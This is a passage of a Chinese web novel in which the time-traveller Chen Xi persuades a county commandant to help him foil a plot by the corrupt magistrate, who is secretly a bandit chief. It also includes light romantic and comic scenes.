牵马的牵马,扛麻袋的扛麻袋,还有个会来事儿的衙役,跪附在地上给陈息当**马凳。
装犊子,陈息是最在行的。
毫不客气的一脚踩上去,下了马。
随后掏出一把铜钱:
“都有赏!”
“谢谢陈神医,谢谢陈神医。”
陈息活动活动脖子:
“规矩照旧!”
“好嘞爷,上等草料备好,就等着侍候爷的爱马了。”
衙役们开心坏了,手里握着铜钱,频频冲着陈息弯腰点头。
陈息站的标杆溜直,从怀里掏出一封信。
用两根手指夹着信纸,向前一递,咧开大嘴:
“找到翠翠,这里面是一剂药方,让她交给夫人。”
有衙役手快,双手捧着信件,脑袋扭到一边去,虽然隔着信封,但他也不敢看。
这些衙役都知道规矩,这东西能是他们看的么?
就算里面画个大饼,谁看了,谁麻烦缠身。
一个搞不好,小命难保。
衙役小跑着去送信,陈息背着手离开。
左逛逛,右逛逛。
买了一些小东西。
午时。
陈息在一家客栈用了饭,在二楼开了一间雅房。
躺在床上,闭目凝神。
不多时,敲门声响起。
三轻一重。
陈息睁开眼,打开房门。
一道黑衣包裹全身的人影,走了进来。
陈息向门外左右望了望,见没人跟着,关闭房门。
转过身来,夫人已将面上黑纱摘下,露出那张韵味十足的脸蛋。
红唇微张,便印在了他的唇上。
交融了好一会,唇分。
夫人似乎意犹未尽,想再度贴上,却被陈息一根手指隔住。
一脸坏笑:
“歇啦,谈谈正事。”
夫人幽怨的白了陈息一眼,轻扭着身子,找了椅子坐下。
手肘撑在桌上,白皙玉手托住下巴,睁开迷离的双眼望着他:
“是不是带我走?”
陈息嘴角一抽,好家伙,这夫人心思这么单纯的么,不办完事怎能带
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你走。
“小甜甜别急,现在还不是时候。”
夫人听见这个称呼,睫毛轻微颤动几下,显然很满意他这么叫自己。
哼了一声,然后装作不满,一撅嘴道:
“说吧,什么正事。”
陈息为她倒了杯茶,放在面前:
“帮我投个帖子,以做生意为由,见见县尉。”
夫人眼睛一亮,他说要见县尉,难不成计划要开始了?
“小事一桩。”
夫人摆摆手,这点小事对她来说不算什么。
陈息见她答应的爽快,微微点头,又开始详细打探一下牛奔的情况。
夫人自然尽皆告知,将她知道的一切,和盘托出。
其中有很多牛奔不为人知的秘密,听得陈息连连咂舌。
好家伙,牛奔表面上金盆洗手,原来背后还有这么多道的关系。
心中更加谨慎起来。
又打听了,县内盐业最大竞争对手王家的全部情况,陈息暗自一笑。
好家伙,原来王家是仗着鹰嘴山的土匪,现在那里是我的地盘。
只能算王家倒霉。
将所有信息在脑中捋一遍,立即有了计划。
“好了,夫人出来久了,不怕引起怀疑么,还是回吧。”
夫人这次是真生气了,刚得到你想要的信息就撵人是吧。
刚想回两句没良心的话,身子一轻便被陈息搂在怀里。
两人湿磨了好一会才作罢。
夫人喘着粗气,从怀里掏出一个信封塞到他怀里:
“以后来这里找寒儿,她能联系到我。”
然后整理一下凌乱衣衫,蒙上黑纱推开房门,左右看了看走了出去。
走到楼梯拐角处,还冲着陈息扭了扭蜜桃,下了楼梯消失不见。
陈息轻笑一声,呢喃了一句磨人精。
随手拆开信封,展开一看,乐了。
地契。
又塞回怀里,躺在床上闭目。
待会便要见到县尉大人了。
这笔生意,你做也得做。
不做,也得做。
第107章 三个生意
未时。
陈息从衙役手里牵过黑蛟,麻袋放置在马鞍上。
一路向西,穿过两个街口,眼前出现一座宅子。
两扇朱门高立,抬头一块匾。
忠勤济世。
匾额很新,显然没挂多久。
轻叩三声铜环,里面传来几道脚步声。
“吱呀——”
大门敞开,一名身着制式棉服的青年出现眼前。
青年先是上下打量一眼陈息,并未露出什么表情,再看向他身后的黑蛟。
眼神随之一凝,对着陈息一抱拳:
“贵客有帖子么?”
陈息笑了笑,还是黑蛟管用,这种神驹放在这个年代,不亚于一台劳斯莱斯!
“我叫陈息,刚刚投了拜帖。”
青年再次打量一下陈息,态度变得恭敬起来:
“贵客稍等。”
转身大步流星进了宅子,没一会的功夫又回来。
站在门前,侧过身子伸出一只手:
“大人有请。”
陈息单手抓起麻袋夹在腋下,另一只手把缰绳交到青年手里:
“有劳了。”
青年面色一喜,回了句:
“客气。”
牵着黑蛟进了院子,向左直奔马厩。
路上,青年还紧张兮兮的摸了摸黑蛟油亮的毛发,脸上露出浓浓的羡慕之色。
这种品质的战马,别说白山县了。
恐怕州府也没几匹吧。
陈息几步便进了宅子,入眼处。
一间宽敞的会客厅,一个魁梧汉子坐在主座。
魁梧汉子一张国字脸,鼻直口阔,浓眉大眼,络腮胡子直连下颌。
大冷的天,身着一身灰布单衣,肩膀处,肌肉高高隆起。
身后墙上,挂着一幅巨大地图,山川河流,官道隘口,尽详。
地图上方,悬着一口长剑,木制剑鞘古朴斑驳,卡簧处镶嵌一块黑曜石。
县尉见陈息夹着一个麻袋进来,立而不跪目光直视自己。
两道浓眉微微皱了一下,看向他的目光平添了几分凌厉。
他看着陈息,陈息也看着他。
两人就这么平静对视,谁都没开口说话。
良久。
县尉身子向后一靠,脊梁贴在了椅背,一只胳膊搭在扶手上,话音不怒自威:
“陈息是吧,我知道你。”
说完这句话,对着陈息点点头,看向他的眼神也平和了许多。
陈息淡淡一笑:
“草民也知道大人。”
县尉听见这声草民,嘴角不自觉的抽动一下,你还知道自己是草民啊。
知道自己是草民,见了本官为何不跪?
不过他也没在这个问题上纠结,清楚他与县令的关系,是个难缠的主。
手指轻敲了几下桌案:
“何意?”
“做生意。”
陈息依旧夹着麻袋,身子站的笔直,语气不卑不亢。
县尉深吸了一口气,做生意?
和我一个县尉做生意,咋地?
还想卖我两把刀啊?
皱着眉看了这货好一会,又吐出三个字:
“啥生意?”
“三个生意。”
陈息左右看了看空着的椅子,然后兴致缺缺的说道:
“县尉大人就这么待客啊?”
县尉鼓了鼓腮帮子,见了本官不下跪,还想坐着?
又在心里捋了捋关系,他和县令称兄道弟,俩人显然是一伙的。
不过这小子仪表堂堂,身上没有匪气,有那么几分好汉模样。
说他是做生意的吧,夹个破麻袋站的笔直,哪有这么做生意的?
不过那股子利索劲,倒像个行伍出身的。
“坐吧。”
县尉摸不清他见自己的目的,索性听听他的生意,随意的指了指左边的椅子。
既然是县令的人,随便应付几句,打发走得了。
自己没功夫跟他瞎扯。
陈息听见让自己坐下,脸上没什么变化,扑通一声把麻袋丢在地上。
一条鹿腿,顺着袋口露了出来。
一扯麻袋。
一只大约200斤的**,躺在客间中央。
陈息拉过那张椅子,调整了一下方位,正与县尉相对,又搬来一张桌子放在面前。
吹了吹本就没有灰尘的椅座,将麻袋叠好铺在上面。
一屁股坐了下去。
两手伏着桌案,看了看空空的桌面,不满道:
“果盘呢?”
谈生意不都这样嘛。
没有嫩模服侍也就罢了,果盘也不给上?
歌,是不是也要自己点啊?
舞台,灯光,嗨丝大腿......
都在哪里?
这货把这里当商K了。
县尉先是看到**怔住,又见这货自己挪椅子,更过分的是面前还摆张桌子。
抬头瞅了瞅房梁。
这货能不能上天?
回过神来,疑惑道:
“你刚才说啥?”
陈息面色有些嫌弃,岁数不大,耳朵咋还不好使呢?
“果盘呢?”
这次他说的十分认真,字字清晰的送到县尉耳中。
县尉听到这三个字,脸上肌肉抽了抽。
看了看地上的**,又看了看索要果盘的陈息。
喘了一口粗气,向后一招手:
“给他上果盘。”
客间夹角处,有个方便进出的小门,里面传来一道清脆声音:
“好的老爷。”
不多时,一名丫鬟打扮的小姑娘,端着一个果盘走了进来。
见到这副场景后,愣住。
老爷坐在主座,是没问题的。
可...
老爷对面,客间正中央也摆放一张桌子。
桌子后面一英俊男子,与老爷相对而坐。
这...这是啥造型啊。
小丫鬟抿了抿嘴,两个可爱的小酒窝挂在脸上。
将果盘放在桌子上,转身站到老爷后面,两只小手叠在一起,显得有些局促。
陈息看了果盘好一会,四个大苹果铺在底下,一个苹果梨摞在上面。
这造型...
特么的,给谁上供呢?
不管这个时代有没有这规矩,首先嫩模的小费没了。
加钟也不加她。
抓起苹
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果梨狠狠咬了一口,汁水饱满。
甜!
陈息手里拿着少了一半的苹果梨,吧唧吧唧嘴,又提出一个要求:
“糕点呢?”
“我去我大哥那,都有糕点。”
“上面撒桂花那种,嘎嘎好吃。”
县尉气的差点都要赶人了,这特么哪里来的货?
若不是看在那只**,还有县令的身份压着,早把这货撵出去了。
他气的络腮胡子乱颤,对着小丫鬟又吩咐:
“给他...上糕点。”
说完一扭头,实在不愿意看陈息那吃相。
小丫鬟一缩脖子,连忙跑去拿糕点。
不一会功夫,端来一盘糕点,放在桌上就跑,生怕陈息把她也给吃了。
回到原位站着,时不时偷看一眼陈息,她太好奇了,这么会功夫,一个苹果梨,连带着4个大苹果都下肚了。
陈息见糕点来了,眼放精光,抓起一大块就塞进嘴里。
大口没嚼两下,又塞进去一大块。
对。
就是这个味。
软糯香甜。
唯一不足,就是有点糊嗓子。
有些噎得慌,赶紧揉了揉脖子,一指小丫鬟:
“上茶!”
这次他绕过县尉,直接指挥小丫鬟。
小丫鬟怯怯的望向老爷,这茶...
上还是不上啊?
县尉见陈息被噎住了,又将头扭过另一边。
“上!”
县令的兄弟,可别噎死在我这。
虽说没啥大事,但是晦气。
小丫鬟又跑了出去,这次她学尖了,到后厨把汤盆抱出来,倒了半盆茶水端着。
咣当一声放在桌上。
又跑回原位,好奇的看着陈息。
这俊哥食量好大啊,太喜欢看他吃东西了。
咱们看大胃王啥样,小丫鬟看陈息就啥样。
陈息噎的难受,端起汤盆就喝。
咕咚咕咚。
牛饮了几大口,才把汤盆放下。
用袖子擦了擦嘴,又在桌子上找着什么。
县尉心里一紧,这货又要整什么幺蛾子?
他实在忍不了。
三番五次的要东要西,虽说你是县令兄弟,但也不能欺人太甚。
拿本县尉当猴耍可不成。
县尉要发怒,但陈息找了半天才悻悻作罢。
他本想找麦克风来着,后来想想算了。
吃也吃了,喝也喝了。
歌就不唱了吧。
唱了他俩也未必能听懂。
对着县尉一抱拳。
“感谢县尉大人盛情款待,咱谈谈那三个生意吧。”
县尉见他不在作妖,松了一口气。
将小丫鬟打发走,盯着陈息冷漠开口:
“说吧。”
陈息微微一笑,翘起二郎腿晃悠着,第一句,开门见山:
“升官,发财,保命!”
三个生意说出口,紧接着一摊手,一脸玩味道:
“县尉大人,是都要啊?还是选一个啊?”
话音落下,县尉眼睛深深眯起,眼神如一道利剑射向陈息。
这小子,什么意思?
第108章 青佛
县尉听完,有些好笑的盯着陈息。
升官,发财,保命。
前两个自己能理解,但保命?
这特么挨着么?
县尉盯着陈息好一会,见他不像是在寻自己开心,才回了一句:
“说说,这官,是怎么升的?”
陈息笑了,感兴趣就好。
“杀土匪,治理地方有功,自然就升官了。”
县尉轻哼了一声,我能不知道杀土匪升官么,但朝廷都穷成什么样了,现在府兵的军饷还拖着呢。
饿着肚子剿匪?
滑天下之大稽。
他已经不想听下去了,如此幼稚的想法,对他没什么吸引力。
扫了一眼陈息,想要送客。
但见他眼中深邃,镇定自若,突然又来了点兴趣,不如让他把话说完。
“那发财,是怎么发的?”
陈息又笑了,从怀里掏出一块金元宝,啪的一声拍在桌案上。
见到金元宝那一刻,县尉的瞳孔缩了缩,自己上任这么长时间,都没见过这么大的金锭子。
这小子哪来的?
看那大小,莫不是10两的锭子。
县尉咽了一口唾沫,军饷拖欠,下面兄弟还要养家,整天愁眉苦脸。
更别提士气了。
县尉此刻见到金锭子眼光精光。
陈息瞄了眼县尉的表情,嘴角弯起。
缺钱是吧,小爷有点是。
又从怀里掏出一个小瓶子,打开塞子,将洁白的精盐一点点的洒在金元宝上。
边撒,边观察县尉的表情。
果然,县尉见到他往金锭子上撒东西,皱了皱眉头,不明所以。
县尉看了一会,突然想到了什么,仔细的看着那洁白晶莹的白色颗粒。
莫不是......
最近县里贵人们家中的精盐?
精盐鲜美,好评如潮。
他还特意打探过,得知是苏家盐铺售卖,亲自去了一趟。
想买一些回家尝尝,但店家又说断货,下一批精盐不知何时才会进来,只叫他回去等等。
跟县尉的情况一样,很多到苏家铺子买精盐的贵人,都失望而归。
这一等,便是好些天。
为了确认一下心中猜想,想站起身来拿些尝尝。
但又觉不妥,这样岂不是落了身份。
就在那眼巴巴的看着。
陈息看清了他的表情变化,撒了半瓶子精盐,然后塞上盖子,将小瓶子放在桌上。
轻轻一吹,精盐铺满桌面,又露出那块金元宝。
“这个东西叫精盐,想必县尉大人有所耳闻吧?”
县尉看着桌上的白色颗粒和金元宝,眼神迟迟收不回,本能的点点头。
陈息轻笑着,知道就好,省去小爷不少啰嗦。
“这东西是我做的,敢问县尉大人,能不能发财?”
县尉听完,瞳孔一紧,他说什么?
精盐是他做的?
不可置信抬头望向陈息,想看穿他是不是在撒谎。
可陈息的眸子,深邃漆黑,根本看不出什么东西。
突然,县尉瞪大了眼睛。
不对劲。
十分的不对劲。
他是县令的兄弟,而县令是县内最大盐铺,王家的靠山。
如今县令的兄弟,拿着苏家的精盐找自己谈生意?
县尉觉得脑子有些不够用了,哪和哪都不挨着。
捋起来这么别扭呢。
陈息知道他想不通,也不过多解释,再添一把火:
“县尉大人别想了,这生意我看你挺适合做的。”
“手底下兄弟,家都要养不起了,大人这官职做的......”
陈息顿了顿,掸了掸粘些精盐的衣裳,意味深长道:
“有些寒酸哟...”
这一句话,直击县尉命脉。
确实。
手下的兄弟跟着自己,受了不少的苦。
朝廷军饷迟迟未发,底下的兄弟下了职,都去找兼工去做,不然家里婆娘孩子吃啥?
上有
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老,下有小。
难道都饿死不成?
县尉看着精盐和金子,狠咬了咬牙,不装了,装不起了。
这小子好像啥都知道。
无论是剿匪还是银子,都直击自己痛处。
他一辈子呆在行伍里,地方上缺人才回到州府任职,后又被派来白山县做县尉,掌管县内府兵。
他一生刚正不阿,爱兵如子,没想到在白山县栽了跟头。
当地匪患严重,却没有军饷剿匪,底下的兄弟跟着自己都要饿**。
上面的县令又在盘剥百姓,整天大鱼大肉,好不快活。
看不惯这种行为。
他暗地里调查县令,已经有些线索了,等掌握了全部罪证,定要将他举报到州府。
铲除这颗毒瘤,自己的日子才能好过一些,挪用一些银钱,也能解了眼前的燃眉之急。
但眼前的精盐和金子就摆在那里,只要伸手,就能抓到。
他看到了希望,直接问出重点:
“你是县令的兄弟,县令是王家盐铺的靠山,你怎么想找我合作?”
话说的很直白,陈息本应该和县令同流合污,为什么找到自己?
自己又能怎样发财呢?
他很不解。
陈息听完哈哈一笑,站起身来,双手负于背后,倒是有些书生意气:
“鄙人不才,现任窝窝村村长一职,再怎么说也是管理着一个村子,带着大家吃饱饭的村长。”
前半句是自我介绍,后半句才是重点。
说罢,俯下身来,直视县尉,话音向一柄利刃一般,直插县尉心脏:
“怎么能跟个土匪头子同流合污呢?”
说完,站直了身子,脸上一抹狠厉浮现。
静等县尉开口。
县尉瞪大了眼珠子,心中狂震。
自己调查的正是这条线,所有线索都指向县令的**。
正是白山县所有寨子中。
最大的当家的。
玉龙岭枭匪。
青佛!
第109章 这么自豪的么?
“你...你...你...”
县尉哆嗦着站起身,指着陈息,震惊的说不出话来。
他现在脑子一片混沌,完全看不懂陈息的来意。
县令的兄弟,主动向自己暴露他大哥的身份。
而且还给了自己三个生意。
升官,发财,保命。
前两个说完了,那么第三个呢?
陈息眼皮都没眨一下,伸出一只手指,轻轻扒拉开县尉指着他的那根颤抖手指。
“我这个人,最烦别人用手指着我,第一次见面,我可以原谅你一次。”
狂。
无比的张狂。
不过此刻的县尉,一点都不觉得陈息的举动是在以下犯上,反倒后背丝丝冷汗渗出。
思维冷静下来,心里再度分析一次。
如果他与县令是一丘之貉,升官,发财,这两个生意说出来,就是在试探自己。
目的就是给了自己希望,然后趁机打探自己的调查结果。
自己一旦全盘托出,等待自己的,只有一个结果。
府兵没有军饷不能动,县令无论是官职,还是匪路,县令都横压自己一头。
真正的黑白两道通吃。
想要暗杀他,不要太简单。
县尉自信,刚才的对话,自己没有露出暗中调查县令的消息。
而他却主动说出,县令是白山县最大的土匪头子。
那么答案只有一个。
县令已经察觉到,自己在暗中调查他。
这个人,真的是来保我命的。
想通了这一切,县尉伸出一只手,做了一个请的手势,语气甚至有些讨好:
“陈兄弟请坐,刚才是为兄怠慢了,还请不要见怪。”
陈息见他认清了现实,还不算太傻,只是心思单纯了些,一心想铲除县令这颗毒瘤而已。
可他却忽略了,县令在此盘踞多年,黑道白道同时经营,岂能是你一个新来的县尉能调查明白的?
你的一举一动,恐怕早已被监视。
暂时没杀你,是县令正在布局,恐怕要不了多久,你的人头就会被他拿来换政绩。
陈息微微一笑,坐了下来。
“还谈第三个生意么?”
二郎腿一翘,气势上完全碾压对方。
“要谈,要谈。”
“陈兄弟请讲。”
县尉正襟危坐,表情十分严肃。
陈息说完话却没有再看他,而是看向墙上那幅巨大地图。
县尉见陈息在看地图,有些不明所以。
第三个生意不是保我的命么,怎么看起地图来了。
主动凑到陈息身边站定。
陈息就这么坐着,抬手一指地图上一个位置:
“那里便是玉龙岭么?”
“对对对。”
县尉立即点头,看地图是他的每日必备工作之一,早已将白山县所有匪寨位置,都标注下来了。
只等朝廷军饷一到,立即扩充府兵,展开剿匪。
陈息活动一下脖子,自顾自的说了句:
“抬头看着费劲。”
县尉瞬间明白过来,这次也不用小丫鬟了,亲自到门外喊了一声:
“冲儿,将我卧房的详图取来。”
“好的爹。”
门外应了一声,听声音是刚才接待陈息的青年。
不多时,青年捧着一块布制地图走了进来,心中有些疑惑,这人不是来做生意的么。
干爹为啥要给客人看这张详图。
县尉接过地图,向陈息介绍道:
“陈兄弟,这位是我的义子干儿,杨冲。”
说罢,扭头向杨冲:
“还不见过陈叔叔。”
杨冲一愣,自己正在外面稀罕马呢,这么会的功夫,咋就降了一辈?
见陈息与自己年龄差不多大,管他叫叔叔?
但干爹的话不敢违背,弯腰拱手:
“杨冲见过陈叔叔。”
陈息习惯性的摸向腰间,打算给几个赏钱。
发现这场合不适合,又收回手来,对着杨冲点点头:
“不必多礼。”
两人这就算认识了,县尉将详图摆在陈息面前的桌案上。
展开。
这份地图,比墙上的地图更加详细,山川位置用针织起一个凸起,甚至还标注了高度。
河流位置,故意用绿色线织起,草地,树林,一目了然。
比例,精确到米。
陈息在地图上看着,时不时用手比画两下。
父子俩见陈息看的认真,也不打扰,就这么静静的站在一旁。
陈息足足看了两刻钟,脸上的表情不再凝重,渐渐舒展开来。
他从夫人口中得知,县令这几日都不在府内。
显然是外出布置什么东西去了,而且夫人还告诉自己,近期县令与王章密见了几次。
还告诉自己小心一些,精盐的事恐怕瞒不了多久。
陈息揉了揉发酸的眉头,沉声道:
“你想保命,就要听我的话做,不然,我们都得死。”
县尉已经猜到县令会对付自己,但不知会用何种方式。
陈息问的郑重,他回的认真。
“陈兄弟,你说说看。”
“你手下有多少信得过的弟兄。”
县尉想都没想,立即作答:
“530人。”
陈息见他答的快,以为他没清,再次重复一遍:
“我说的是,信
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得过的弟兄。”
县尉见陈息怀疑,自信一笑:
“老夫一辈子待在行伍,难道还不知手下的弟兄,信得过信不过么?”
“陈兄弟大可放心,老夫手下的弟兄,全都信得过。”
怕陈息不信,还故意用手指了指自己的头:
“人头作保!”
陈息盯着县尉看了良久,轻吐一个字:
“好。”
继续发问:
“玉龙岭具体实力如何?”
“不下千人。”
县尉对答如流。
陈息听到这个数字,深吸了一口气,全县府兵才530人,一个匪寨居然达到了千人之巨。
这还是单只玉龙岭,若那些杂七杂八的土匪加一块。
这特么的,百姓还有活路么。
如今的大御朝,只能一个字形容。
烂!
烂到根了!
陈息手扶桌案,语气凝重:
“如果我没猜错的话,县令最迟10日,最短5日。”
“便会派你到窝窝村剿匪。”
县尉与杨冲闻言,同时皱起眉头:
“窝窝村?”
剿匪不应该去匪寨么,这么会到一个小小村子?
不合逻辑。
完全不合逻辑。
陈息见两人懵逼,微微一笑:
“县令会以匪患猖獗为由,挪出一些银钱做这次剿匪的饷银。”
“而你,根本无法抗拒。”
“因为那时候,窝窝村已经被土匪包围了。”
父子俩对视一眼,皆从对方眼中看出疑惑,两人感觉脑子都不够用了。
县令是最大的土匪头子,让土匪去包围村子,再派自己带人去剿匪。
干啥呢?
玩呢?
陈息弯起两根手指,指关节重重敲了两下桌案,恨铁不成钢道:
“你以为县令,为什么派你去剿匪?”
“那,他,妈,是,杀,你。”
一字一顿,说的父子俩如梦方醒。
原来如此,原来如此。
以剿匪的名义派自己出城,然后趁机杀掉自己,县令再带人将围村的土匪赶跑。
这样一来,自己不但**,县令还落得个击败土匪的功劳。
但他还有个疑惑,立即说了出来:
“那为什么要选在窝窝村。”
陈息突然站起身子,父子俩吓了一跳,不由自主的退后一步。
他...他要干什么?
只见陈息一脸自豪的拍了拍胸脯子,拍的砰砰作响,朗声道:
“那,他,妈,是,杀,我。”
县尉和杨冲同时瞪大眼珠子,张开大嘴巴。
杀你就杀你呗。
这么自豪的么?
第110章 也该活动活动筋骨了
县尉不知道陈息为啥这么自豪,缓了片刻才开口:
“那玉龙岭可是有着上千土匪,咱们府兵只有他们的一半。”
“并且人家早有准备,咱们该怎么破局?”
陈息无比失望的看着县尉,刚才还标榜自己一辈子待在行伍呢,连这么简单的破局方法都想不到?
人数多是有点优势,但也不能说明一切。
再说了,你猜的数字也不对呀。
怪不得被派到白山县做个小小的县尉。
肯定是行伍里混不下去了,上面感念他忠心,派到这里养老来了。
“你叫什么名字?”
陈息这次连县尉都不叫了,直接问他全名。
县尉嘴角抽了抽,一个草民敢问本官的姓名?
心里虽有些别扭,但现在还指望人家给自己出主意呢,只能如实答道:
“老夫,杨刚烈。”
刚烈。
陈息下意识的想看看他后面,没想到县尉还将病情用在了名字上。
去诊病,倒是省去了不少麻烦。
没在他的名字上纠结,伸出手指,点在地图上的窝窝村。
“跟我看。”
父子俩同时看向地图,那里正是窝窝村。
陈息怕他俩不懂,手指点着地图上的窝窝村,一脸正色道:
“现在杨刚烈被包围在窝窝村。”
正要说第二句,突然被杨刚烈打断。
“陈兄弟,不对。”
“是你在窝窝村,要包围也是包围你,本官是去救你。”
陈息摇摇头:
“不,是杨刚烈被包围在窝窝村。”
“然后本村长来救你。”
杨刚烈脑子实在是转不过来了,我是县尉,又不是窝窝村村长,凭什么我被包围?
心里有气,但不敢说。
谁叫主动权在人家手里呢,全当他说错了。
见他不在这个问题上纠缠,陈息得意一笑,接着说道:
“你被包围了,然后本村长去救你。”
这次杨刚烈看懂了,立即接话道:
“然后你也被包围了。”
他理解的是这样,先是土匪包围了窝窝村,县令派自己带着府兵包围了土匪,后面县令又带土匪包围了府兵。
再然后,他就不知道了。
这句话把陈息气的,真想踢他屁股一脚。
但想想他的症状,还是算了吧。
刚太烈,也不好。
在心里叹息一声,怎么到哪都能遇到这么一根筋的人。
寨子里的叶红缨如此,眼前的杨刚烈亦是如此。
突然,他想到了什么,老的脑筋不行,那小的呢?
将目光投向杨冲。
杨冲原本捏着下巴,一脸认真的在看地图,突然感觉陈息目光向自己扫来。
抬头对上他那期盼的眼神,随即向干爹方向挪了挪:
“陈叔叔,我...我...我保护我爹。”
陈息听完一扭头,失望的闭上双眼,用手扶住脑门摇了摇头,一家子蠢货。
这种人就不能指望他们听懂,倒不如直接命令他们。
大不了打完了仗,亲自给他们做个战后总结。
能学到多少,全看他们悟性。
“行了,现在给你们布置任务。”
陈息不想废话了,再磨叽下去,天都要黑了。
杨刚烈一听陈息要给自己布置任务,左右看了看。
没错啊,这里确实是我家啊。
一个村长,到县尉家里,给县尉布置任务。
怎么看都觉得不像话,但就这么神奇的发生在自己身上。
他还不能拒绝。
“陈兄弟,请说。”
陈息手指继续点在窝窝村的位置,开口说道:
“现在这里是一座空村子。”
两人还要愣神,陈息下一句话紧随而至:
“你们不用管村子为什么空了,那个与你们无关。”
两人木讷的点点头。
“现在,我要你派出100府兵,连带着府兵的家眷,装成百姓住进村里。”
杨刚烈再次懵逼,想要发问,突然胸口被陈息一根手指点住,还连点了好几下:
“从现在开始,不许问,多听,知道了么。”
陈息压根不管这两人懂不懂,继续安排着:
“100个府兵连同他们的家眷,伪装成村民,守在这里。”
“被土匪包围也不要惊慌,他们的目标是你,你不出现,他们是不会动手的。”
“那里有个相对安全的地方,到时候我会派人协助府兵。”
陈息转过头来,看了一眼二人:
“听清楚了,给我重复一遍。”
两人木讷的重复一遍,陈息才罢休,接着讲:
“然后,你奉命带着府兵去支援。”
“这里的重点来了。”
陈息特别强调一下重点,目的就是让两人心里有个准备,不然到时乱了阵脚,会白白牺牲很多兄弟。
杨刚烈和杨冲闻言,知道这里是转折点,齐齐点头。
竖起耳朵听着陈息的安排。
见到两人认真,陈息才再次开口:
“第一批包围村子的土匪,人数不会太多,差不多200人左右。”
“以熊岭寨和奔狼寨为主,战斗力一般般。”
两人都不敢说话,继续听着。
“你们反包围土匪之后,县令会带着大批土匪前来。”
“和你的想法不同,这些人不是玉龙山的人,而是从远处各大寨子调来的人。”
“人数,大约在2000。”
听到这个数字,两人心头狂震。
玉龙岭不出人的情况下,能汇聚2000土匪?
陈息轻轻拍了拍杨刚烈的肩膀:
“青佛,不只是玉龙岭大当家的。”
“他还有一个身份,就是白山县所有匪寨的总瓢把子。”
“各地数得上名的土匪,寨子里的大当家的,都是他的拜把子兄
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弟。”
“他知道你已经查到玉龙岭了,怕你察觉,所以不会动那里的人。”
杨刚烈脸上的肌肉止不住的颤抖,这就是一个死局啊。
今日若是没有陈兄弟告知,自己这条命,很可能就要交代在这。
不光是自己,连同整个白山县500多府兵的命,统统要完。
杨刚烈绷不住了,大口的喘着粗气,看向陈息,就像看到救命稻草:
“陈兄弟,老夫**是小事,500多个弟兄可不能被这逆贼害死。”
“这局,怎么破?”
杨刚烈哆嗦着嘴唇,他对待下面弟兄,情同手足,绝不能看着他们被害死。
都有家人,都有亲族老幼需要照顾。
他们一死,无数家庭都要跟着遭殃。
他不能眼睁睁的看着人间惨剧发生,必须要破局。
陈息点点头,从县尉对待弟兄的态度,做的还算称职。
“你不是从州府来的么,想必那边有很多熟人吧?”
闻言,杨刚烈一拍脑门子,自己怎么没想到,州府中确实有自己的老上司,要从州府调来士兵**土匪,应该不难。
“好,我这就给我的老上司书信一封,调兵来**。”
陈息狠狠的白了他一眼,不跟他啰嗦,直接说出目的。
“你从调兵来,功劳都是人家的,你还升个屁的官?”
杨刚烈今日被陈息怼了无数次,都不知愣神多少回了,他已经麻木了。
好像自己怎么做,在这位陈兄弟眼里都是不对。
到底应该怎么做啊。
“从州府里,请来一两位有些名望的官员即可,目的是让他们亲眼见到,县令的**。”
“至于怎么消灭那2000多土匪,交给我吧。”
陈息说完,就这么静静等待杨刚烈答复。
杨刚烈闭起双眼,喘了几口粗气,富贵险中求。
自己能不能坐上县令不重要,重要的是护住手下的弟兄。
一咬牙。
干了!
猛地睁开双眼,目中精光闪闪,再度恢复到县尉的气势。
“陈兄弟,一两个有声望的官员不是问题,具体说说怎么干吧?”
陈息见他下定决心,笑容有些冷冽。
“好,既然杨大哥有如此魄力,兄弟便提前祝贺...”
“杨县令,旗开得胜!”
接下来,陈息将所有步骤,事无巨细的讲了几遍。
将其中所有细节,掰开了揉碎了,喂到两人嘴里。
父子俩听的连连点头,脸上震惊之色越来越浓。
直到夜幕降临,陈息才一脸疲惫的离开。
官道上。
皎洁月光,路间白雪。
陈息骑着黑蛟星夜疾驰,一刻不停。
回去后,还要进行准备。
青佛设计的一箭双雕之计。
陈息,又何尝不是呢?
接下来。
也该活动活动筋骨了。
第111章 蛮牛村长
回到鹰嘴山,已是深夜。
陈息悄悄把黑蛟栓回马厩,然后做贼一样回到屋子。
看了看几个娘子的房间。
确保不会出现上次进错房的问题。
武怡在哪里,现在对他来说,太重要了。
人家小姑娘,一口一个师爷的叫着。
自己不但进错了门,还贴了人家的嘴。
太尴尬了。
这货没有自己的屋子,悄悄推开白蓉蓉的房间。
借着朦胧月光一扫。
咦?
房间没人!
再次挪到秦瑶的房间。
还是没人。
一种不祥的预感油然而生。
此刻顾不上许多了,一把推开樊妍的房间。
呆立当场。
三位娘子做好了一张大床。
此刻正躲在被窝里讲什么悄悄话呢,人人脸上都带着笑意。
见陈息进屋,白蓉蓉身子彻底恢复,所以动作最快。
一把将夫君拉到大床上:
“嘿嘿夫君,中计了吧。”
“夫君再想各个击破,已经不可能了,我们已经找到了对付你的办法。”
陈息懵逼...
对付自己的办法?
随即脑袋里好像想到了什么。
心中好笑,就算你们三个一起来,他也不惧。
陈息故意装作害怕逃跑。
但三女早就做好了准备,哪能让他称心如意?
樊妍也不顾形象了,首当其冲。
用力要逃跑的夫君。
天天欺负自己和瑶瑶,蓉蓉身子没恢复,也没逃过夫君的魔爪。
今晚是她们翻身做主人的时刻。
三个一起,我看夫君还敢不敢逞强。
三女的如意算盘打得铛铛响。
合力将陈息拉到大床上。
接下来的时间里。
樊妍第一个哭着求饶,接下来便是秦瑶。
白蓉蓉嘴硬不服输,一直到身子都要散架了,才妥协求饶。
不出意外的,白蓉蓉刚恢复的身子,再次遭到重击。
瘫在那里,再也提不起一丝力气。
陈息咧嘴一笑,轻松拿捏。
才三个就想算计夫君?
再来两个也不在话下。
这一夜。
三女哭惨了。
这货见她们服了依旧不罢休。
贱兮兮的挨个问:
“服不服?”
“服不服?”
“服不服?”
在等到了满意的答案后,才咧着大嘴睡去。
这份骄人的战绩,换做天下少有。
请叫为夫:蛮牛村长!
翌日清晨。
早早让宁乱那边带人回来,盐矿那边暂时放放,全力备战。
亲自指导他们建窑炼钢。
命那些土匪建起高高的烟囱,教给李大李二两个老头风箱的制作方法。
铁矿石暂时还提炼不出来,只能将匪寨里,原本的那些破铜炼铁拿出来回炉。
众人虽然不知村长在做什么,但都努力的跟着干。
建好了窑。
陈息神秘兮兮将李二带走。
他在前面大步的走,李二在后面一脸懵逼的架着拐跟着。
为了不被落下太多,时不时还单腿蹦了几下。
来到没人的地方。
陈息四下观察了一下,才贼兮兮的附耳说道:
“图纸你会看了吗?”
李二愣了一下才反应过来陈息说的图纸是什么东西。
